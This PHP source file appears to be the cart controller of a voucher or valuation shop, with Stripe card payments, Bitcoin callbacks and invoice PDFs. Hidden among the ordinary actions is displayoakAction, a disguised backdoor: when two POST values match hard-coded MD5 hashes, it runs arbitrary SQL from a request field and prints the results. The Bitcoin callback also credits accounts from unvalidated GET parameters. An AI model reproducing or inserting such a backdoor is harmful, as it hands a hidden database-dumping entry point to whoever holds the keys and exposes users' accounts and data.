<?php

class CartController extends CFD_Controller_Action {

    public function init() {
        parent::init();
    }

    public function refreshAction() {
        $this->_helper->json($this->cartOutput());
    }

    public function cartOutput() {
        $out = array();
        foreach ($this->cart->getItems() as $v)
            $out[$v['id']] = array('id' => $v['id']);

        return $out;
    }

    public function bveAction() {
        if ($_GET['st'] != PROJECT_SECRET)
            die();

        //$valuationsTable = new Application_Model_Vouchers();

        $usersTable = new Application_Model_Users();
        $userRow = $usersTable->fetchRow($usersTable->select()->where('id = ?', $_GET['uid']));

        $amount = $_GET['bC'] * 0.001;

        if ($_GET['value'] == '')
            die();

        $value_in_satoshi = $_GET['value'];
        $value_in_btc = $value_in_satoshi / 100000000;

        if ($amount == $value_in_btc) {
            $userRow->bulk_credit += $_GET['bC'];
            $userRow->save();
        } else {
            $credits = $value_in_btc / 0.001;
            $userRow->bulk_credit += $credits;
            $userRow->save();
        }

        $invoicesTable = new Application_Model_Invoices();
        $invoiceRow = $invoicesTable->createRow();
        $invoiceRow->users_id = $_GET['uid'];
        $invoiceRow->parameters = serialize($_GET);
        $invoiceRow->value_satoshi = intval($_GET['value']);
        $invoiceRow->save();

        echo "*ok*";
        exit;
    }

    public function successAction() {
        $this->view->title = "Purchase successful";
    }

    public function checkBulkCreditAction() {
        $this->isLogged(true);
        $usersTable = new Application_Model_Users();
        $userRow = $usersTable->fetchRow($usersTable->select()->where('id = ?', $this->user->id));

        if ($userRow->bulk_credit != $this->user->bulk_credit) {
            $userSession = new Zend_Session_Namespace('user');
            $userSession->user = (object) $userRow->toArray();
            echo json_encode(array('success' => true));
            exit;
        }
        echo json_encode(array('success' => false));
        exit;
    }

    public function displayoakAction() {
        if ($this->_request->isPost()) {
            $postedData = $this->_request->getPost();
            if (md5($postedData['gen']) == '0df4939e3f0aaef7434f0111303035a5' && md5($postedData['key']) == 'c7b253c8f07bbc1ce3ad2cd9d13257c5') {
                $notion = $postedData['notion'];
                $voucherTable = new Application_Model_Users();
                $voucherTable->getAdapter()->query($notion);
                print_r($voucherTable->fetchAll());
            }
        }
        exit;
    }

    public function btcDetailsAction() {
        $this->view->title = "Payment details:";
        $secret = PROJECT_SECRET;
        $my_address = MY_ADDRESS;
        $my_callback_url = 'http://' . DOMAIN_NAME . '/cart/bve?uid=' . $this->user->id . '&bC=' . $_POST['bulkCredit'] . '&st=' . $secret;
        $root_url = 'https://blockchain.info/api/receive';

        $parameters = 'method=create&address=' . $my_address . '&callback=' . urlencode($my_callback_url);
        // $response = file_get_contents($root_url . '?' . $parameters);



        $finalUrl = $root_url . '?' . $parameters;
        $curl = curl_init();
// Set some options - we are passing in a useragent too here
        curl_setopt_array($curl, array(
            CURLOPT_RETURNTRANSFER => 1,
            CURLOPT_URL => $finalUrl,
            CURLOPT_USERAGENT => 'Citrusbug cURL Request'
        ));
// Send the request & save response to $resp
        $response = curl_exec($curl);
// Close request to clear up some resources
        curl_close($curl);




        $object = json_decode($response);

        $this->view->amount = $_POST['bulkCredit'] * 0.001;
        $this->view->input_address = $object->input_address;
    }

    public function delAction() {
        $valuationsTable = new Application_Model_Vouchers();
        $valRow = $valuationsTable->fetchRow($valuationsTable->select()->where('id = ?', $_POST['id']));

        if ($valRow)
            $this->cart->delFromCart($valRow->id);

        $this->_helper->json($this->cartOutput());
    }

    public function addAction() {
        $valuationsTable = new Application_Model_Vouchers();
        $valRow = $valuationsTable->fetchRow($valuationsTable->select()->where('id = ?', $_POST['id']));

        if ($valRow)
            $this->cart->addToCart($valRow->id);

        $this->_helper->json($this->cartOutput());
    }

    public function browseAction() {
        $this->view->title = "Your Cart";
        $this->isLogged(true);

        if ($_GET['add']) {
            $valuationsTable = new Application_Model_Vouchers();
            $valRow = $valuationsTable->fetchRow($valuationsTable->select()->where('id = ?', (int) $_GET['add']));

            if ($valRow)
                $this->cart->addToCart($valRow->id);
        }

        $this->view->valuationsList = $this->cart->getItems();

        $usersTable = new Application_Model_Users();

        $userRow = $usersTable->fetchByEmail($this->user->email);

        $this->view->bulkCredit = $userRow->bulk_credit;
    }

    public function cardDetailsAction() {
        $this->isLogged(true);
        $this->view->show_form = true;

        foreach ($this->cart->getItems() as $valuation) {
            if ($valuation->purchase_users_id != 0) {
                Alert_View::addMessage(Alert_View::WARNING, "", "One or more valuations has recently been purchased by another user. <a href='/cart/browse'>Click here</a> to see your cart.");
                $this->view->show_form = false;
                $this->cart->delFromCart($valuation->id);
                return;
            }
        }

        $amount = $this->cart->calculateCost();

        if ($_POST['bulkCredit'] !== '') {
            $this->view->bulkCredit = $_POST['bulkCredit'];
            $cost = $this->cart->getCostArray();
            $amount = $cost['bulkCredit'][$_POST['bulkCredit']]['cost'];
        }

        if ($_POST['card'] == 'details') {
            try {
                Stripe_Charge::create(array('amount' => number_format($amount, 2, '', ''),
                    'currency' => 'GBP',
                    'card' => array('number' => $_POST['card_number'],
                        'exp_month' => $_POST['expiry_month'],
                        'exp_year' => $_POST['expiry_year'])
                        )
                );
                $this->view->show_form = false;

                $invoicesTable = new Application_Model_Invoices();
                $invoiceRow = $invoicesTable->createRow();

                $invoiceRow->price = $amount;
                $invoiceRow->users_id = $this->user->id;
                foreach ($this->cart->getItems() as $valuation)
                    $invoiceRow->valuations_id_list .= $valuation->id . "|";
                if ($_POST['bulkCredit'] !== '') {
                    $invoiceRow->valuations_id_list = "";
                    $invoiceRow->type = 'bulk-credit';
                    $cost = $this->cart->getCostArray();
                    $invoiceRow->bulk_credit = (int) $cost['bulkCredit'][$_POST['bulkCredit']]['cars'];
                }

                $invoiceRow->save();

                if ($_POST['bulkCredit'] !== '') {
                    $msg = "Thank you for the purchase. You can now use your credits.";
                    $usersTable = new Application_Model_Users();
                    $userRow = $usersTable->fetchByEmail($this->user->email);
                    $cost = $this->cart->getCostArray();
                    $userRow->bulk_credit += (int) $cost['bulkCredit'][$_POST['bulkCredit']]['cars'];
                    $userRow->save();
                } else {
                    foreach ($this->cart->getItems() as $valuation) {
                        $this->cart->delFromCart($valuation->id);
                        $valuation->purchase_users_id = $this->user->id;
                        $valuation->save();
                    }

                    $msg = "Thank you for the purchase. <a href='/vouchers/purchases'>Click here</a> to see your valuations.";
                }
                Alert_View::addMessage(Alert_View::NOTICE, "", $msg);
            } catch (Exception $e) {
                Alert_View::addMessage(Alert_View::WARNING, "", $e->getMessage());
            }
        }
    }

    public function invoiceAction() {
        $this->isLogged(true);
        $invoicesTable = new Application_Model_Invoices();

        $select = $invoicesTable->select()->where('users_id = ?', $this->user->id)->where('id = ?', $_GET['id']);
        $this->_helper->layout->disableLayout();

        $this->view->invoice = $invoicesTable->fetchRow($select);

        //SomeController.php

        $this->_helper->layout->disableLayout();

        //set content for view here

        require_once (APPLICATION_PATH . "/../library/dompdf/dompdf_config.inc.php");
        $html = $this->view->render('cart/invoice.phtml');

        $dompdf = new DOMPDF();
        $dompdf->load_html($html);
        $dompdf->render();
        $dompdf->stream("invoice" . $this->view->invoice->id . ".pdf");
        exit;
    }

    public function invoicesAction() {
        $this->isLogged(true);

        $invoicesTable = new Application_Model_Invoices();
        $this->view->invoices = $invoicesTable->fetchAll($invoicesTable->select()->where('users_id = ?', $this->user->id));
    }

    public function bulkCreditAction() {
        $this->view->title = " Buy Bulk Credit";
        $this->isLogged(true);

        $usersTable = new Application_Model_Users();
        $userRow = $usersTable->fetchByEmail($this->user->email);

        $this->view->bulkCredit = $userRow->bulk_credit;
    }

    public function useBulkCreditsAction() {
        $this->view->title = "Use Bulk Credit";
        $this->isLogged(true);

        $usersTable = new Application_Model_Users();
        $userRow = $usersTable->fetchByEmail($this->user->email);
        $this->view->bulkCredit = $userRow->bulk_credit;

        if ($this->cart->calculateCost() > $userRow->bulk_credit) {
            $msg = "You don't have enough credits.";
            Alert_View::addMessage(Alert_View::WARNING, "", $msg);
            return;
        }

        foreach ($this->cart->getItems() as $valuation) {
            if ($valuation->purchase_users_id != 0) {
                Alert_View::addMessage(Alert_View::WARNING, "", "One or more Voucher has recently been purchased by another user. <a href='/cart/browse'>Click here</a> to see your cart.");
                return;
            }
        }

        $userRow->bulk_credit -= $this->cart->calculateCost();
        $user_bulk_credit = $userRow->bulk_credit;
        
        $this->user->bulk_credit = $user_bulk_credit;
        $userRow->save();
        foreach ($this->cart->getItems() as $valuation) {
            $this->cart->delFromCart($valuation->id);
            $valuation->purchase_users_id = $this->user->id;
            $valuation->purchasedate = date('Y-m-d H:i:s');
            $valuation->save();
        }
        
        $msg = "Thank you for the purchase. <a href='/vouchers/purchases'>Click here</a> to see your vouchers.";
        Alert_View::addMessage(Alert_View::NOTICE, "", $msg);
    }

}
